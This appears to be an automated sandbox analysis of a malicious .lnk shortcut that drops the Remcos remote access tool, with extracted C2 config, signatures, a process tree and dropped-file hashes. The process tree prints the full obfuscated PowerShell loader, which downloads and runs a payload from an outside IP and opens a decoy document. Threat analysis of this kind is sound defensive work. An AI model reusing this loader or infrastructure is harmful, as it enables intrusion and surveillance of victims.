Resubmissions

29-08-2024 11:25

240829-nh9xrs1bll 10

29-08-2024 10:50

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29-08-2024 10:06

240829-l5ghmawbkg 10

29-08-2024 09:04

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29-08-2024 08:36

240829-khyyqavaqn 10

Analysis

  • max time kernel
    120s
  • max time network
    109s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-uk
  • resource tags

    arch:x64arch:x86image:win10-20240404-uklocale:uk-uaos:windows10-1703-x64systemwindows
  • submitted
    29-08-2024 11:25

General

  • Target

    brt_1_0147.doc.lnk

  • Size

    47KB

  • MD5

    8b3dc64090b0b26eda4f1195f493160d

  • SHA1

    bd0b4c1d9e8b84465714287727ba5293f9a8eb61

  • SHA256

    cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30

  • SHA512

    ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb

  • SSDEEP

    48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\brt_1_0147.doc.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4100
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1192
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:4868
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2312
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1748
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:4196
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:364
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
      1⤵
        PID:2548
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini
        1⤵
          PID:2700

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\4f7b39b1

          Filesize

          1.2MB

          MD5

          1e3c4f28123f69a2f9cee3713a1cb1e5

          SHA1

          b2ca8d5efec1789346eadfb1fe2efc1f32cac7a0

          SHA256

          74f86370efd98f355fb91c4850a00d20100a213a92ab692627f702ba13ca9e7c

          SHA512

          f67ffda43de4d15e9cb60d275aca915d5b18c4748ce7aaa603d0ea3b5b0507c4ee29b56db7ef5fa94b4b4ec0bda00b68b0e84c30504a18ec6fb7fcd0dd629af0

        • C:\Users\Admin\AppData\Local\Temp\TCD7FF.tmp\gb.xsl

          Filesize

          262KB

          MD5

          51d32ee5bc7ab811041f799652d26e04

          SHA1

          412193006aa3ef19e0a57e16acf86b830993024a

          SHA256

          6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

          SHA512

          5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmgcyf2z.edq.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

          Filesize

          257B

          MD5

          b55d697eef42a31cf5f20c4c0f1a0542

          SHA1

          bf1e6b60a05ba7653eed79a741fb483089bfcb4b

          SHA256

          8f539fff8dab1089705abc0f5dc264ccd35e3f02b9e75080f7c7ff2ddd03cd4e

          SHA512

          89f14a5530468fb44aaf82cab8582177c7ed22f881b57fe1ce3227cc3635535439f5b08b365e323ba83fab8556f9ce6367a924e457647e056cc703b28ecb22bc

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

          Filesize

          3KB

          MD5

          97ec969471a4a5c24f96d26816dc7784

          SHA1

          156786a5b43cbcf2b1c377c1a5abad332b160631

          SHA256

          4af2f4e94784affd504fde6d35e969c5904a54205046db9c057b37a9a02ee60e

          SHA512

          103d732032e7c9de195d4000274323a3076a7ce33e598e7f061f46eb94d7049e7b46ec5e15547520d560787c59bec1da4bc402ff784b2b9df9b1bcbe50998637

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

          Filesize

          3KB

          MD5

          33315c0cf388907a3423b7dd1a490ea0

          SHA1

          9b56166033f56ff97e5868bf41321a10e814febf

          SHA256

          a614ee362c76d24aa52ac773bc18f746dc92847a71a5681557ec150a0c8d90c3

          SHA512

          82191685c9188a9899fdc6145494bd841c53b90d2e30253b9104b809453458f1c6b5697e4280dce7f48b0eb3deb2130fc0629d879080aca0aeab851f4867a0fb

        • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

          Filesize

          2.1MB

          MD5

          db7e67835fce6cf9889f0f68ca9c29a9

          SHA1

          5565afda37006a66f0e4546105be60bbe7970616

          SHA256

          dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

          SHA512

          bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

        • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

          Filesize

          1.1MB

          MD5

          59c15c71fd599ff745a862d0b8932919

          SHA1

          8384f88b4cac4694cf510ca0d3f867fd83cc9e18

          SHA256

          c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

          SHA512

          be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

        • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

          Filesize

          1.4MB

          MD5

          6fdb2e9ca6b7a5ad510e2b29831e3bc8

          SHA1

          4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

          SHA256

          f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

          SHA512

          d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

        • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

          Filesize

          31KB

          MD5

          5dc69a3e2fda6cb740f363ef77edcc13

          SHA1

          c177fabf17346531e07d562be11915bf2822148a

          SHA256

          7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

          SHA512

          b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

        • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

          Filesize

          1.0MB

          MD5

          471076308d78944d45ab35d37134134a

          SHA1

          05cf2cf6e5d11ce10425b14d68cda3246cc47263

          SHA256

          38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

          SHA512

          7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

        • C:\Users\Admin\AppData\Roaming\brt_1_0147.doc

          Filesize

          47KB

          MD5

          2616f33bfc84fecd6496c0e3bfbfb1b0

          SHA1

          e4f4fba392ba4a245415729a82aaa486ca31b2ba

          SHA256

          24fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4

          SHA512

          b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb

        • memory/1192-104-0x00007FFE33AB0000-0x00007FFE33C8B000-memory.dmp

          Filesize

          1.9MB

        • memory/1192-103-0x0000000073220000-0x000000007339B000-memory.dmp

          Filesize

          1.5MB

        • memory/1192-120-0x0000000000400000-0x0000000000669000-memory.dmp

          Filesize

          2.4MB

        • memory/1192-96-0x0000000002A00000-0x0000000002B1E000-memory.dmp

          Filesize

          1.1MB

        • memory/1192-124-0x0000000002E00000-0x0000000002F72000-memory.dmp

          Filesize

          1.4MB

        • memory/1192-100-0x0000000002E00000-0x0000000002F72000-memory.dmp

          Filesize

          1.4MB

        • memory/1192-123-0x0000000002A00000-0x0000000002B1E000-memory.dmp

          Filesize

          1.1MB

        • memory/1748-855-0x0000000000400000-0x0000000000483000-memory.dmp

          Filesize

          524KB

        • memory/1748-852-0x00007FFE33AB0000-0x00007FFE33C8B000-memory.dmp

          Filesize

          1.9MB

        • memory/1748-853-0x0000000000400000-0x0000000000483000-memory.dmp

          Filesize

          524KB

        • memory/1748-856-0x0000000000400000-0x0000000000483000-memory.dmp

          Filesize

          524KB

        • memory/1748-863-0x0000000000400000-0x0000000000483000-memory.dmp

          Filesize

          524KB

        • memory/1748-859-0x0000000000400000-0x0000000000483000-memory.dmp

          Filesize

          524KB

        • memory/1748-862-0x0000000000400000-0x0000000000483000-memory.dmp

          Filesize

          524KB

        • memory/2312-359-0x00007FFE33AB0000-0x00007FFE33C8B000-memory.dmp

          Filesize

          1.9MB

        • memory/2312-841-0x0000000073220000-0x000000007339B000-memory.dmp

          Filesize

          1.5MB

        • memory/4100-56-0x0000024F37320000-0x0000024F37332000-memory.dmp

          Filesize

          72KB

        • memory/4100-37-0x00007FFE26833000-0x00007FFE26834000-memory.dmp

          Filesize

          4KB

        • memory/4100-148-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4100-7-0x0000024F37190000-0x0000024F371B2000-memory.dmp

          Filesize

          136KB

        • memory/4100-8-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4100-9-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4100-12-0x0000024F37340000-0x0000024F373B6000-memory.dmp

          Filesize

          472KB

        • memory/4100-33-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4100-2-0x00007FFE26833000-0x00007FFE26834000-memory.dmp

          Filesize

          4KB

        • memory/4100-69-0x0000024F37300000-0x0000024F3730A000-memory.dmp

          Filesize

          40KB

        • memory/4100-40-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4100-39-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4100-38-0x00007FFE26830000-0x00007FFE2721C000-memory.dmp

          Filesize

          9.9MB

        • memory/4196-156-0x00007FFDF0410000-0x00007FFDF0420000-memory.dmp

          Filesize

          64KB

        • memory/4196-155-0x00007FFDF0410000-0x00007FFDF0420000-memory.dmp

          Filesize

          64KB

        • memory/4196-149-0x00007FFDF3B40000-0x00007FFDF3B50000-memory.dmp

          Filesize

          64KB

        • memory/4196-152-0x00007FFDF3B40000-0x00007FFDF3B50000-memory.dmp

          Filesize

          64KB

        • memory/4196-150-0x00007FFDF3B40000-0x00007FFDF3B50000-memory.dmp

          Filesize

          64KB

        • memory/4196-151-0x00007FFDF3B40000-0x00007FFDF3B50000-memory.dmp

          Filesize

          64KB

        • memory/4868-140-0x0000000073220000-0x000000007339B000-memory.dmp

          Filesize

          1.5MB

        • memory/4868-336-0x0000000073220000-0x000000007339B000-memory.dmp

          Filesize

          1.5MB

        • memory/4868-335-0x0000000002E70000-0x0000000002FE2000-memory.dmp

          Filesize

          1.4MB

        • memory/4868-334-0x0000000002B10000-0x0000000002C2E000-memory.dmp

          Filesize

          1.1MB

        • memory/4868-333-0x0000000000400000-0x0000000000669000-memory.dmp

          Filesize

          2.4MB

        • memory/4868-132-0x0000000002E70000-0x0000000002FE2000-memory.dmp

          Filesize

          1.4MB

        • memory/4868-144-0x00007FFE33AB0000-0x00007FFE33C8B000-memory.dmp

          Filesize

          1.9MB

        • memory/4868-128-0x0000000002B10000-0x0000000002C2E000-memory.dmp

          Filesize

          1.1MB